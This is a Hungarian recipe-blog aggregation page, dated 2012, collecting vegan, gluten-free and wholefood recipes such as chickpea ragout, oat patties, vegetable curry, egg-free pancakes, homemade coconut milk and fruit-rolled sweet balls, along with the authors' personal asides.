Hűvösebb napokra ajánlom ezt az egyszerű, de mégis nagyon finom, és laktató ételt Hozzávalók személyenként: 5-6 szelet cukkíni 1/2 paprika apróra vágva 1 csipet majoránna 1 csipet só 1 kávéskanálnyi kókuszzsír a grillezéshez A cukkínit alaposan megmossuk, felszeleteljük, és besózzuk. Megszórjuk a majorannával, és pici zsíron, a paprikával együtt, a teflonsütőben pirosra sütjük. 1 maréknyi [...]
Fasírt fűszeres burgonyával
Vasárnap délelőtt kedvem nem volt, de időm sem maradt boltba menni. Mondjuk Pestnek ez az előnye, hogy szinte bármikor eszembe jut, mehetek. Otthon próbálnám meg mindezt, reggel mikor dolgozni megyek még nincs, hazaérve már nincs nyitva a bolt. Épp ezért az otthoni készletek szerintem egy hónapra elegendőek. Csepelen ellenben elég szűkös, főleg azután, hogy múlt héten a molyok miatt (az elvileg nagyon jól záródó dobozaim ellenére) a szekrény tartalma erősen megfogyatkozott. Nem baj, készültem. Vaníliás pipadohányt! :) szereztem be hétfőn, már csak kis zacskókat kellene varrnom, és mindenfelé szétpakolni. Tehát abból készült az ebédünk megint csak, amit otthon találtam. Krumpli volt, azt a jénaiba bepakoltam, egy kis fűszerezéssel megbolondítottam. Lehet natúr hagymát is kevés olaj és víz keverékén megsütni, pirospaprikával megszórni, és azt a sült burgonyához keverni, de most nem akartam. Inkább vöröshagyma fűszerkeverékkel szórtam meg. (Vöröshagyma por, és pirospaprika lehet az összetevője.) Nagyon finom lett. Ízlés szerint megbolondítható akár egy két fokhagymával is, amit a héjában rakunk a burgonya közé, és finomra sül, de magyaros fűszerkeverékkel is megszórhatjuk. Fűszeres burgonya Hozzávalók: 8 nagyobb burgonya 1/2 ek kókuszzsír 1 tk vöröshagyma fűszerkeverék 1 tk köménymag 1 tk só A burgonyákat meghámozzuk, vastag hasábokra vágjuk, kikent jénaiba tesszük. Megszórjuk a sóval, a fűszerekkel, és bő egy óra alatt a sütőben közepes hőfokon lefedve sütjük. Zabpelyhes fasírt Hozzávalók: 25 dkg apró szemű zabpehely 2 marék aprított napraforgómag 1 marék őrölt szezámmag 1 kis fej vöröshagyma apróra vágva 1 ek őrölt lenmag 1 ek sörélesztő pehely 1 ek burgonyapehely 1 ek zsemlemorzsa 1 tk só 1 nagy csipet pirospaprika 1 nagy csipet borsikafű kókuszzsír a tepsi kikenéséhez Minden összetevőt egy tálba szórunk, majd annyi vízzel felengedjük, hogy sűrű masszát kapjunk. 10-15 percig állni hagyjuk, majd kiolajozott tepsibe kanalazunk belőle egy-egy halmot, és ellapítjuk. Közepes hőfokon 15-15 percet sült mindkét oldalát. Hajlamos leragadni, ezért javasolt többször fordítani.
Csicseriborsó ragu - Magyarosan
2012. szeptember 13. Fittanyuka Blog
Érrendszerünk őre - a csicseriborsó Ha rendben akarjuk tudni az érrendszerünket, akkor a következőket mindenképpen érdemes kipróbálni, és rendszeresen fogyasztani a népnyelvben gyakran bagolyborsóként emlegetett csicseriborsót. Már az ókorban a görögök és a rómaiak is ismerték, és termesztették. Mi pedig újra felfedezzük, mint oly sok elfeledett hasznos táplálékunkat. Amellett, hogy az egészséges, reformtáplálkozás egyik legkiválóbb íz forrása dióra hasonlítható ízével, változatossá tehetjük vele étrendünket. Tipp: A csicseriborsó élelmirost tartalmának köszönhetően kiválóan alkalmas a székrekedés megelőzésére, illetve kezelésére. Ha rendszeresen fogyasztjuk, elérhetjük, hogy vér koleszterinszintünk csökkenjen, így kisebb az esély a szív-, és érrendszeri betegségek kialakulására is. Kutatások igazolják, hogy pektintartalma miatt csökkenti az étkezések utáni gyors vércukorszint-emelkedést, ezért a cukorbetegek számára is közkedvelt növény. Magas fehérjetartalma miatt gyakran fogyasztják sportolók, idősek is. Fogyókúrában magas rosttartalma miatt kedvezően hat a kilók csökkentésében. A lúgosító étrend egyik nélkülözhetetlen tápláléka. Karotin és E-vitamin tartalma figyelemre méltó. 100 g csicseriborsó energiatartalma 1292 kJ, azaz 314 kcal. Halkan jegyzem meg, hogy egyik nagy kedvencem és minden formában szeretem. A másik ajánlatom számotokra a csicseriborsó pástétom, vagyis a humusz, amiből nem győzök eleget készíteni! Ezt a ragut úgy készítjük, hogy a magyaros fűszereket használjuk, amelyek kitűnően illenek a csicseri diós ízéhez. Habár jellegzetes fűszere a római kömény, ezért a fűszerét most is megmutattuk neki:) Nem árt tudni, hogy a csicseriborsót egy egész éjszakára ajánlott beáztatni! Hozzávalók: ( 4 fő részére) 250 g száraz csicseriborsó 3 evőkanál kókusz olaj 1 db vöröshagyma 2 cikk fokhagyma 1 kávéskanál himalaya só 1/2 kávéskanál őrölt kömény 1/2 kávéskanál örőlt római kömény 3 kávéskanál őrölt édesnemes piros paprika örőlt rózsa bors ízlés szerint 2 db egész paradicsom 1 dl víz vegamix A csicseriborsót főzés előtti napon beáztatjuk egy éjszakára. Másnap átmossuk ( annyi vízben ami ellepi ) vegamixes, sós vízben puhára főzzük, lassú tűzön. Majd leszűrjük róla a vizet. A hagymát felaprítjuk és a kókusz olajon megdinszteljük, majd hozzáadjuk a felkockázott paradicsomot, együtt pároljuk. Hozzáadjuk a puhára főtt csicseriborsót, hozzáöntjük az 1 dl vizet és a fűszerekkel: paprika, kétféle kömény, összerottyantjuk, lassú tűzön. Amikor kezd besűrűsödni a ragu, hozzáadjuk a préselt fokhagymát és ízlés szerint még fűszerezhetjük. Mivel magas fehérjetartalmú étel és az ételtársításra is figyelünk, ezért egyértelműen zöldséggel együtt fogyasszuk. Amit még adhatunk köretként az az alacsony keményítő tartalmú és könnyen emészthető köles, amarant, hajdina. Fittanyuka
Zöldségcurry
2012. szeptember 12. Gitta nyersétel blogja
Egy idő után azokat a recepteket részesítem előnyben, ami egyszerűen és gyorsan kész van, mégis finom. Ez a recept kivétel. Több összetevője van, mint amennyit én szívem szerint használnék, de most mégis kipróbáltam... és hát nem bántam meg. Igazi különlegesség lett! Hozzávalók: Zöldségek: 2 sárgarépa reszelve, 1 cukkíni kockákra vágva, 1/2 paprika kisebb darabokra vágva, 1/2 fej lilahagyma, friss gyömbér reszelve, egy marék mazsola, valamilyen édes gyümölcs, ami most 1 őszibarack volt, és néhány friss menta levél (szerintem más zöldségekkel is jó, brokkoli, retek, karfiol, zeller...) Curry szósz: 3 dl kókusztej (kókusztejporból turmixoltam), egy marék szezámmag (ettől kicsit kesernyés lett), egy marék mazsola ide is, egy kanál miso (ez erjesztett szója vagy rizs, nagyon különleges ízt ad), 1 teáskanál curry por, 1 narancs leve. Sem sót, sem édesítőszert nem tettem bele, a miso sós volt, az aszalt és friss gyümölcsök édesek. A zöldségek darabolás közben: A barack és a mazsola is hozzájött: A szószt külön nem fotóztam le, de így nézett ki, amikor a tálban a zöldségekre ráöntöttem a levet: Elkészítés: A zöldségeket összevágjuk, tálba tesszük. A szószhoz a hozzávalókat turmixgépben simára keverjük, és a zöldségekre öntjük. Nem kell megijedni, ilyenkor a szósz még híg, de a zöldségek be fogják szívni, és egy óra múlva már egy ízben összeérett, nagyszerű ételt kapunk. A szószból az ízeket és a nedvességet beszívják magukba a zöldségek, és felpuhulnak. A végén tettem még hozzá apróra vágott aszalt paradicsomot... az a piros ott a tetején :) Reggel elkészíted, dobozba teszed, és délben jól megeszed. Délre ilyen szépen összeáll: Pár levélke menta, egy kis paradicsom jól illik hozzá, egy pár szem mandula vagy kesudió... nem árt neki. Rágd meg jól!
Mogyorós Tönkölyfehérje - Sárgaborsó bundában
2012. szeptember 3. Fittanyuka Blog
Szeretném nektek bemutatni és ajánlani akár hús helyett a tönköly fehérjét. Nem egyezik meg sem állaga, sem íze, összetétele a búzasikértből készült szejtánnal. A tönköly - fehérje a húsfélék pótlására kiválóan alkalmas gabona fehérje. Fehérje tartalma bármely hús fehérje tartalmánál magasabb. Aminosav összetétele megközelíti az ember fehérje összetételét. Könnyen és gyorsan emészthető, nem terheli a gyomrot és a hússal ellentétben rövid időt tölt a bél rendszerben. Kalória értéke közeli a diabetikus étrendben közkedvelt szárnyas mellfilék kalória értékeihez. Sütéskor, főzéskor térfogata nem csökken. Természetes élelmiszer, alacsony gluténtartalmú. Fehérje tartalom: 24% Rost és ásványi anyag tartalom: 4% Szénhidrát tartalom: 2,5% Növényi olaj tartalom: 0.3% Energiatartalom: 100 g termékben: 120 kcal Ahol kereshetitek: bioboltokban, Gyártó: Gecs Géza Tel/fax: +36-46-394-053 ( honlapot nem találtam) Hozzávalók ( 4 fő részére): 250 g Tönköly fehérje 200 g sárgaborsó liszt 1 kk himalaya só 1 késhegynyi zöld bors víz aprított török mogyoró 2-4 db kisebb cukkini kókusz olaj a sütéshez 100 g sárgaborsó lisztet elkeverjük a sóval, borssal és annyi vízzel, hogy palacsintatészta sűrűségű masszát kapjunk. A másik 100 g sárgaborsó lisztbe egyenként megforgatjuk a kb. 0,7 mm -es szeletekre vágott tönköly-fehérjét. A kókusz olajat felhevítjük. A sárgaborsó lisztben megforgatott szeleteket belemártjuk a masszába és kisütjük mindkét oldalukat a kókusz olajban! Papírtörlőre szedjük. A szeletelt cukkiniket kevés kókusz olajon grillezük, majd utólag sózzuk, fűszerezhetjük tetszőleges zöld fűszerekkel. Az aprított török mogyorót enyhén megpirítjuk, amikor érezni kezdjük az illatát félrehúzzuk a lángról. Tálaláskor megszórjuk a Cukkini - Tönköly fehérje kompozíciót a mogyoróval és friss, vegyes salátával társítjuk. Fittanyuka
Káposztás kocka
Maradt még kölesem, és pirított káposztám is. 2 fokhagyma segítségével újítottam picit a tegnapi recepten;) Nagyon finiiiii Hozzávalók személyenként: 1 evőkanálnyi köles 2 maréknyi reszelt káposzta tiszta só ízlés szerint bors ízlés szerint 1 diónyi kókuszzsír 2 cikk fokhagyma A kölest megmossuk, jól lecsepegtetjük, és egy teflon, vagy vaslábosban natúron addig pirítjuk, amíg finom illat [...]
Csinta-Palacsinta (vegán, vagyis tej és tojásmentes)
Mint rendszeres olvasóim már tudják, gofrit, más néven waffelt már készítettem "vegánul", vagyis tej és tojásmentesen. Mivel édességet az utóbbi időben - köszönhetően a sok finom friss gyümölcsnek - ritkábban készítek, így a tej és tojásmentes palacsinta váratott magára egészen addig, míg nem bírtam tovább, és férjemet, valamint magamat megörvendeztettem egy kis csinta-palacsintával. :) Fincsi lett, nem ragadt le, és még másnapra is jutott belőle... (Hiába no, két főre nem kell túl sok.) Általam főzött baracklekvárral is ízesítettem. És a baracklekvárt még mindig nem írtam le nektek.... (Amíg késik, nem múlik...)
A recept:
Hozzávalók:
- 10 dkg teljes kiőrlésű liszt
- 17 dkg fehér liszt
- 1/2 l növényi tej - jelen esetben diótejet készítettem.
- 1 csipet só
- 5 dkg lenmag (őrölve)
- 5 dkg zabpehely (őrölve)
Elkészítés:
A száraz hozzávalókat összekeverjük egy tálban, majd folyamatos keverés közben hozzáöntjük a növényi tejet. Szerintem növényi tej hiányában szénsavas vízzel is próbálkozhatunk, a zabpehely és lenmag segíti a tésztát abban, amiben máskülönben a tojás. Ezt azért is merem állítani, mert amikor már csak egy-két palacsintára való adag volt, akkor ismét kevertem hozzá valamennyi vizet, és kétfajta lisztet. Amikor összekeverjük, elvileg palacsintaszerű tésztát kell kapjunk. Ha túl sűrű, vízzel hígíthatjuk. Ha túl folyós, keverjünk hozzá még egy kevés lisztet.
A palacsinta sütőnket - remélhetőleg teflon bevonatú edény - felmelegítjük. A legelső sütéshez a biztonság kedvéért cseppentettem két csepp olajat, vagy tehetünk bele icipici kókuszzsírt. A továbbiakhoz egyáltalán nem használtam semmilyen olajat vagy zsírt. De ehhez szükséges, hogy teflon bevonatú sütővel dolgozzunk.
Miután kisültek a palacsinták, megtöltjük őket. Ez az alábbiak szerint történt nálam:
Korábbiakban (miután megjöttem Elekről) főztem jó kis házi sárgabarack lekvárt. (Megpróbálom még augusztusban feltenni róla a bejegyzésemet.) A diótej leszűrése után visszamaradt diót összekevertem a lekvárral. (Szükség esetén édesíthető.) Így barackos-diós töltelékkel töltöttem, míg a töltelék el nem fogyott. Ezt követően pedig 1 marék áfonyát összetörtem villával, tettem hozzá kókuszreszeléket (igény esetén édesíthető) és ezzel töltöttem meg a maradék kisült palacsintákat.
Nos a fenti leírásaim is eltérnek a szokásos "kakaós, lekváros, mákos, túrós" palacsintáktól, és mégis nagyon finomak. Egészségesek, főként, ha olaj nélkül sikeres palacsintákat sütünk!
Banánkenyér (glutén-, tej- és cukormentes)
2012. augusztus 23. Rongybaba konyha
Ideális GM reggeli. Nekünk úgy ízlik a legjobban, ha áll egy napot sütés után. 2 banán 2 tojás 170 g őrölt mandula 50 g teff liszt 70 g felolvasztott kókuszzsír fél kk sütőpor (fahéj, vanília) Összeturmixolom a tojást, babánt, kókuszzsírt hozzákeverem a száraz összetevőket és előmelegített 175 fokos sütőben kiolajozott formában kb fél óra alatt készresütöm.
Reggeli - liszt, tej és cukor nélkül
2012. augusztus 20. Rongybaba konyha
Volt itthon sok nagyon érett szilva, mag nélkül mérve 500 grammot beletettem a turmixba, adtam hozzá egy nagy evőkanál puha kókuszzsírt (a kókusztej dobozából), ez kb 50-60 g volt, két tojássárgáját és 1 kisebb evőkanál mézet (tulajdonképpen azt hiszem, ez az a mennyiség volt, ami teljesen felesleges...). hozzákevertem 200 g mákot (amiben előtte elkevertem egy fél kiskanálnyi GM sütőport), és óvatosan beleforgattam a felvert tojásfehérjét. Muffinformában 180 fokon (előmelegítve) kb 35 perc alatt sütöttem. Nagy örömömre egyik gyerek se hiányolta belőle a cukrot, pont elég édes volt a sok szilva benne.
glutén-, és tejmentes kókuszos süti
2012. augusztus 17. Rongybaba konyha
nagyon egyszerű, gyors gluténmentes reggeli: 125 g kókuszreszelék finomra őrölve 80 g barna rizsliszt 1 csapott kiskanál GM sütőpor 125 g kókuszzsír felolvasztva 1 evőkanál méz 4 tojás A tojást, zsírt és a mézet alaposan összekeverem gépben, lassan adagolva belekevertem a sütőporral, liszttel elkevert kókuszreszeléket és 170 fokos sütőben kb fél óra alatt készre sütöttem.
Zeller chips - Avokádó krémmel
2012. augusztus 15. Fittanyuka Blog
Ebből a szuper zöldségből készítettem chipszet, amely kitűnő mártogatoshóz, vagy akár salátákhoz, akár önmagában rágcsálva. Nincsen magas keményítő tartalma, mint a krumplinak, alacsony a zeller szénhidrát tartalma így nem is hizlal, mint a krumpli chips. Frissen elkészítve a legfinomabb, enyhén sózva. Elkészítése egyszerű és kevés macerával jár. Hozzávalók: Tetszőleges mennyiségű zeller himalaya só kókusz olaj szárított bazsalikom A zellert meghámozzuk és zöldség-szeletelő segítségével vékony szeletekre vágjuk. Minél vékonyabb a szelet annál ropogósabb lesz a chipsünk. Bő mennyiségű kókusz olajat hevítünk és a szeleteket belehelyezzük, ügyelve arra, hogy ne legyenek összetapadva. Mindkét oldalukat aranybarnára sütjük, majd papír törlőre szedjük. Még melegen enyhén megsózzuk. Avokádó krémmel vagy bármilyen más krémmel - pástétommal tálaljuk. Megszórjuk szárított bazsalikommal. Avokádó Krém 1 vagy 2 db avokádó 1/2 citrom leve 200 ml kókusz tejszín 2 evőkanál hidegen sajtolt olíva olaj 1-2 cikk préselt fokhagyma 1 kk himalaya só Az avokádót lehéjazzuk, kiemeljük a magját és a húsát a többi összetevővel együtt krémesre turmixoljuk. Fittanyuka
Gyümölcsös kuszkusz felfújt
Sokan gondolataikban összekeverik a kuszkuszt és a kölest. Na már most. A köles, az valamivel nagyobb szemű általában, és ami a lényeg, önálló növény. Míg a kuszkusz búza-töret, búza-őrlemény már előre feldolgozott formája. A kuszkusznak elég meleg folyadék ahhoz, hogy megszívja magát és megpuhuljon, a kölest pedig rövid ideig főzni kell a forró vízben. Szerény véleményem szerint a köles egészségesebb, eleve lúgosító hatással bír, míg a kuszkusz "csak" búza felhasználásából készült, egyfajta tésztaféle. Viszont praktikus "konyhatartozék", mivel alig van vele munka. Az alábbi nassolni való, komolyan mondom, gyorsabban elkészült, mint maga a gyümölcsök felaprítása. A recept: Hozzávalók: 1 bögre kuszkusz 1,5 bögre kókusztej gyümölcs (barack, körte, alma volt jelenleg, de bármi más megfelelő) édesítő (méz, gyümölcscukor, nyírfacukor, stívia, áztatott datolya stb) folpack Elkészítés: A forró kókusztejhez hozzáöntjük az előzőleg megmosott kuszkuszt. Amíg megdagad, addig előkészítjük a gyümölcsöket. Megmossuk, felkockázzuk, felszeleteljük őket. A kuszkuszt édesítjük ízlés szerint. Akár úgy, hogy nagyon érett banándarabokat szétnyomkodunk és azt keverjük hozzá. A gyümölcs egy részét hozzákeverjük a megduzzadt kuszkuszhoz. Egy tálat kibélelünk frissentartó fóliával, és gyümölcsszeleteket fektetünk az aljába a fóliára. Fontos, hogy a fólia lelógjon bőven a tálról. (Még ne vágjuk le.) A gyümölcsös kuszkusz felét belenyomkodjuk óvatosan, hogy az alján fekvő gyümölcsszeletek ne menjenek kárba. Az elsimított rétegre gyümölcsöt teszünk. Majd a maradékkal betakarjuk. A fóliával befedjük és kb. 1-2 órára hűtőbe tesszük. Függően attól, hogy mennyire lédús gyümit használtunk a felfújt készítése során, elképzelhető, hogy valami "szósz", vagy lekvár jól jön a tortácskához. Én egyszerűen sárgabarackot turmixoltam össze - ha szükséges, édesíthető, ezt öntöttem a szeletek tetejére tálalásnál, illetve ezzel díszítettem az egészet. Rendkívül egyszerű és gyors sütemény. 30 perc alatt bőven elkészül. Akár reggelire is elkészíthető. Nagy melegben jóleső hűsítő finomság. UI: Biocsicsóka sűrítményt is keverhetünk hozzá - segít, hogy ne hirtelen növekedjen meg a vér cukorszintje, ha pl. mézzel készítettük el.
Vegán Golyómánia :) (tej, tojásmentes és némelyik gluténmentes)
Ha unod a kókuszgolyót, de mégis szereted a kis golyócskákat... Megmutatok egy új verziót rájuk. Múlt hétvégén kerti partira voltunk hivatalosak. A meghívó család is meglepődhetett, amikor közös ebédnél megszámláltuk létszámunkat, és bizony a 70 főt elérte. Gondolataimban az eseményre készülve 35-40 fős társaságra számítottam. Így a héten azt tudtam biztosan, hogy valamilyen golyót, golyókat fogok készíteni az össznépi együttlétre. Terveimben az szerepelt, hogy 100 darab biztos készüljön, mert ha leszünk ennyien, akkor mindenkinek jut kettő is. Hát szerintem egyesek nem is látták a golyókat, mivel legalább hetvenen voltunk. Persze meg kell vallanom azt is, hogy ezek a golyók képességeim és tudásom szerint a lehető legegészségesebben készültek, így aztán nem mindenkinek volt teljesen ínyére. Hogy is várhatnám el attól, aki hetente többször étkezik ilyen vagy olyan gyors kiszolgálású helyeken, hogy beleszeressen a természet natúr ízeibe? Viszont azok, akik szimpatizálnak a vegán ételekkel, vagy önmaguk is haladó vegánosok, na ők, nehezen szabadultak a golyók kísértésétől...:) Na igen, minden csak szokás és szoktatás kérdése. Az ember alapban úgy lett szoktatva, hogy már gyerekkorában cukros tejet, kakaót és tejeskávét kapott. Arról nem beszélve, hogy egyesek még a gyümölcsök egy részét is megcukrozzák. Bizony hallottam, és láttam, hogy az eper vagy sárgadinnye fantasztikus ízét elrontják azzal, hogy meghintik egy kis cukorral. Miért? Mert így szokták meg egész életükben. Az emberiség hozzá van szokva (én is) az édes ízhez. Nagyon örülök neki, hogy Eleken sikerült valamennyire megszabadulnom attól, hogy főétkezés után érzem, jól esne egy kis nasi. :) Na de a hosszas bevezető után következzenek főszerepben a golyók: 1. Tejbegrízes golyó barackkal, karobos darált mogyoróba hempergetve 2. Kukoricadarás (puliszkás) golyó barackkal darált mákba hempergetve 3. Barackos-zabpelyhes golyó darált dióba hempergetve Tejbegrízes golyó barackkal, karobos darált mogyoróba hempergetve A recept: Hozzávalók: - búzadara (Nekem teljes kiőrlésű van itthon) - növényi tej (Kókusztejet készítettem) - néhány szem sárgabarack - karob - földimogyoró (sótlan, pirított, vagy pirítatlan) - édesítő (stívia, gyümölcscukor, nyírfacukor, ki mit használ...) Elkészítés: A mennyiségeket elég nehéz pontosan ismertetni. Jó sűrű tejbegrízt főzünk a búzadara és a növényi tej segítségével. Amikor már megfőtt, de még nem hűlt ki, édesítjük. Míg kihűl, megmossuk és négy részre vágjuk a sárgabarackokat (meggy esetén kimagozzuk, de lehet helyette szőlő, sárgadinnye, áfonya, szilva, stb.) Úgy egy nagyobb maréknyi mogyorót nagyobb szemcsésre darálunk. Hozzákeverünk kb. 1-2 evőkanál karobot. Ezt a keveréket is kicsit édesítjük. Ha szerencsénk van, ennyi idő alatt már kihűlt a tejbegríz, és megkeményedett. Akkor jó, amikor az egészből egy nagy gombócot tudunk formálni. Ha ez sikerül, akkor a golyóformázás is könnyed játék lesz. A munkaasztalunkra érdemes odakészíteni egy nagyobb szájú poharat vízzel, mert vizes kézzel könnyebb a golyócskákat megformálni. A golyókat barackkal töltjük meg, majd a karobos-mogyorós morzsába hempergetjük. Tálcára tesszük őket. Végül, ha mind elkészült, hűtőben dermesztjük és pihentetjük jó pár órát. Mi két (!) nappal előtte készítettük el, és simán jól bírta a várakozást (lévén, hogy nem járt rá egyikünk se, és gyerek sem volt, aki nem bírt volna a kísértésnek ellenállni). Már rég vége volt a keri partinak és csak rá harmadnapra ettem az otthoni maradékból. Tehát a golyók már 4 napot megéltek a hűtőnkben. Szóval sokkal jobban ízlett négynaposan (mind a három fajta), mint második napon. Érdekes. Lehet, csak azért, mert mostanában sok nyerset fogyasztok? Kukoricadarás (puliszkás) golyó barackkal darált mákba hempergetve A recept: Hozzávalók: - 20 dkg kukoricadara 1 dl víz 4 dl növényi tej (Kókusztejet készítettem) néhány szem sárgabarack mák édesítő (stívia, gyümölcscukor, nyírfacukor, ki mit használ...) Elkészítés: Szintén jó sűrű puliszkát főzünk a kukoricadara, a víz és a növényi tej segítségével. Amikor már megfőtt, de még nem hűlt ki, édesítjük. Míg kihűl, megmossuk és négy részre vágjuk a sárgabarackokat (meggy esetén kimagozzuk, de lehet helyette szőlő, sárgadinnye, áfonya, szilva, stb.). Mákot darálunk. A mákot is édesítjük. A polenta-alapból szintén megpróbáltam egy nagy gombócot formálni, sikerrel jártam, tehát tudtam, a kicsik is hasonlóan működhetnek. A mákos golyókat száraz kézzel formáztuk, nem kellett hozzá víz, és nem volt macerás. Ha valakinek mégis ragad, akkor próbálkozhat vele. Az eljárás tulajdonképpen ugyanaz, mint a fentiek esetén: barack és puliszka segítségével golyókat gyártunk, mákba hempergetjük, hűtőben pihentetjük. (A mákba még érdemes citromot reszelni - külön spéci ízt ad neki!) Mivel én kókusztejet készítettem, és az volt a növényi alapom mindkettő finomság esetében, így a szűrés után megmaradt kókuszreszelékeket fele-fele arányban még hozzákevertem a két "kásához". Ezt csak mellékesen jegyzem meg. Ha a növényi tejet mi készítettük, és maradt pl. dió vagy kókusz, stb., nyugodtan tegyük a tésztához. Persze kinyomkodva, nehogy eláztassa és ne tudjunk golyókat formálni. Barackos-zabpelyhes golyó darált dióba hempergetve A recept: Hozzávalók: - 15 szem barack - pár csepp víz - zabpehely - dió - édesítő (stívia, gyümölcscukor, nyírfacukor, ki mit használ...) Elkészítés: Roppant egyszerű, roppant gyors. A barackot kevés vízzel összeturmixoljuk. (Vagy baracklekvárt is használhatunk.) A zabpehellyel ezt keverjük össze. Édesítjük. Diót darálunk, szintén édesítjük. Kezünkkel golyókat formázunk és az édes darált dióba hempergetjük a szemeket. Hűtőben pihentetjük. Lehet karobot is hozzákeverni a masszához. Mindkettő fajta nagyon finom. Végül a kerti összejövetelre 108 darab golyót vittünk. Négy dobozba raktuk őket. Néhányat itthonra is hagytunk. 120 db legalább készült. Maga a "golyógyártás", ilyen mennyiségben két embernek kb. másfél óráig tartott. Kisebb mennyiségben - csak az egyik fajta golyóval sokkal gyorsabb idő alatt megvan.
Kókusztej (készítése házilag)
Számtalan receptemben szerepelt már a növényi tej, mint hozzávaló. Meglehetősen sok a növényi tejek készítésének módja. Most a számomra legkedvesebb (legalább is jelenleg) növényi tej, a kókusztej készítését mutatom be. A recept: Hozzávalók: 1 csésze kókuszreszelék (A legjobb, ha van igazi kókuszdiónk és abból sikerül kikaparni.) 3 csésze víz 1 csipetnyi só igény szerint édesítő (gyümölcscukor, nyírfacukor, méz, stb...) Elkészítés: A kókusztejnek, ahogy a többi növényi tejnek is két elkészítési módja van. Az egyik, amikor éjszaka ázik - jelen esetben - a kókusz, más esetben az olajos mag. Majd ezt követően kerül feldolgozásra. A másik - általam előnyben részesített módja, - nem igényel éjszakás áztatást. Azért is jobban kedvelem ezt az elkészítési lehetőséget, mivel ritka az, amikor előző este én fixen tudom, hogy másnap kókusztejet innék, vagy használnék fel ételkészítéshez. Szóval a gyorsabb verzió : A vizet felforraljuk (buborékozzon). Egy csipetnyi sóval hozzásegítjük a forrást, amikor a forráspont már közel van. A felforrt vízbe egyszerűen beleszórjuk a kókuszreszeléket. Átkavarjuk, majd ismét forralunk rajta egyet. Fedővel hűvösebb helyre tesszük. (Nagy melegben pl. hideg vízbe állítjuk, vagy hidegebb kőre, padlólapra tesszük.) Amíg kihűl jut időnk másra. Arra mindenképp, hogy a turmixgépünket elővegyük, ha nincs mindig kéznél. Az a jó, ha a turmixgép teljesítménye legalább 500 Watt. A kihűlt kókuszos-vizes egyveleget a turmixgépbe töltjük és néhány percig (2 perc minimum) turmixoljuk. Amikor már sokáig turmixoltuk, egyszerűen csak sűrű szövésű szűrőn keresztül átöntjük a kancsónkba, vagy tároló edénybe. Ha nincs sűrű szövésű szűrőnk (micsoda nyelvtörő!:) ), akkor használhatunk tiszta harisnyadarabot, vagy gézt is a művelethez. Nekem van két szuper műanyag szűrőm, amit teák szűréséhez használok emellett. Hipermarketekben lehet ilyet kapni. De eurós, vagy százforintos boltban is láttam már. Szóval az elkészült kókusztej (nekem kb. 7 dl lett) hűtőben 2, max. 3 napig eláll, bár én a frissesség híve vagyok. Ha csak lehet, felhasználom még aznap, legfeljebb másnap. Mézzel és egy kevés kis vaníliával lehet az ízét igazán megbolondítani. A maradék - felfőtt kókuszreszelék süteményekbe, reggeli kásákba, esetleg kenyérbe keverhető, de régebben én még fasírthoz is hozzáadtam. (Talán erről is írok egyszer - még kép hiányában vagyok, csak kolléganőm egyike ízlelhette, mikor még nem blogoltam.)
Szójabab pástétom
2012. július 25. Mindennapi ételeink
Nagyon finom kenyérre kenhető pástétom :-) Hozzávalók: 4 dl főtt szójabab 1 nagy vöröshagyma 2 gerezd fokhagyma 1 csokor metélőhagyma 1 ek. pritaminpaprikalekvár 2 ek. kókuszolaj 1 ek. vegamix 1 ek. burgonyakeményítő 1 ek. 100% extra szűz olívaolaj Elkészítés: A szójababot egy éjszakára beáztatjuk. Másnap 1-2 óra alatt puhára főzzük. A hagymát és a fokhagymát nagyon apróra vágjuk és kevés vízen megpároljuk. Ehhez adjuk hozzá a megfőtt, kihűtött és alaposan szétturmixolt szójababot, a pritaminpaprikalekvárt, metélőhagymát, sót, vegamixet, olajat és kókuszolajat. Alaposan összekeverjük.
Diótortácska epersodóval
Tegnap ilyen gyönyörű folyton érős epret kaptam a piacon, így azonnal be is indult a fantáziám Hozzávalók az alaphoz: 2 marék áztatott dió 1 marék zabpehely 1 marék kókuszreszelék 1/2 citrom leve 2 ek bio méz 1 kk vaníliapor 1 leheletnyi tiszta só annyi víz, hogy turmixolható legyen. A hozzávalókat összeturmixoljuk, majd hozzákeverünk még 1 [...]
Valóságos grízpuding és fantáziavilág VKF! 50 (Ehető virágok)
? Kislányoknak, romantikusoknak, álmodozókank vagy akár két lábbal a földön járóknak, gyermeki lelkűeknek, vidámaknak és szomorúaknak, a kert törpéinek, természeti lényeknek és tündéreknek, és bárkinek aki szereti :) ? ! Jubileumi 50. fordulójához érkezett a VKF! vagyis a Vigyázz, Kész, Főzz! nevű játék melyet Selectfood hirdetett meg itt. Témája: Ehető virágok. Ha csak a receptet szeretnéd olvasni kérlek keresd a kiemelt RECEPT feliratot, írok még előtte mindenfélét és még lelkizem is egy kicsit. Ismét olyan téma és alkalom amit megint csak úgy éreztem kár lenne kihagyni. Történt ez az életemnek egy olyan periódusában amikor félretettem a főzést (szinte csak akkor főztem, ha itthon volt Csaba), ételt májusban fotóztam utoljára. Az ok nem a kánikula volt, bár az is rátett egy lapáttal, hanem, hogy minden eddiginél nyitottabbá vált a lelkem és a szellemem az asztrológiára, no nem arra a fajta ezobizniszes, csacskaságra (elnézést) ami általában a médiákban megy, hanem arra ami az ön- és emberismeret elmélyítésében lehet segítségünkre. Minden szabadidőmet az e területen végzett kutatásra és tanulásra fordítottam, teljes lényemmel belevetettem magam, óriási kaland.... aztán ha majd ha az az űr amit ezerrel töltök nem feszít már annyira, biztosan megint visszatérek a konyhai örömökhöz is mindaddig míg valami újra nem jön.... Az 50. VKF!-en való részvétel kedvéért viszont az asztrokalandot tettem félre egy kis időre. Volt egy kikötésem magamnak: Pénzt most nem költök. Legalábbis olyasmire nem amiért reletíve mélyebben a zsebünkbe kellett volna nyúlni (június) hónap végefelé. A rózsák elvirágzása rohamosan beindult (a biztonság kedvéért két maroknyit tettem a fagyóba), a körömvirágot is az utolsó pillanatban szedtem meg... ugyan több hét is a rendelkezésünkre állt, nem minden virág várt. A zsebbenyúlós ötletem helyett itthon meglévő alapanyagokból dolgoztam. Már 22 nappal ezelőtt kész lett a puding és a fotók. Olyan lelkes voltam és olyan speckó hangulatban, viszont olyan sok idő eltelt azóta, annyi minden történt, és annyira más hangulatban vagyok. Jó lenne újra ráhangolódni, hogy írásban is meg tudjam teremteni azt az atmoszférát. Ez az étel a romantikus és egyben a gyermeki énünket érintheti meg. Mindkettőt, a romantikát is abban az értelemben értem, ami kiszakít a szürke, vagy problémás hétköznapokból, ahonnan elvágyódunk egy színesebb, békésebb, boldogabb világba. Legalább is mi felnőttek. Én ezt az ételt a képzeletem világában egy 8 év körüli kislánynak is készítettem (és még másoknak). Persze végig tudtam, hogy ez nem a valóság, ez egy játék volt, de tudjuk minden játék valahol 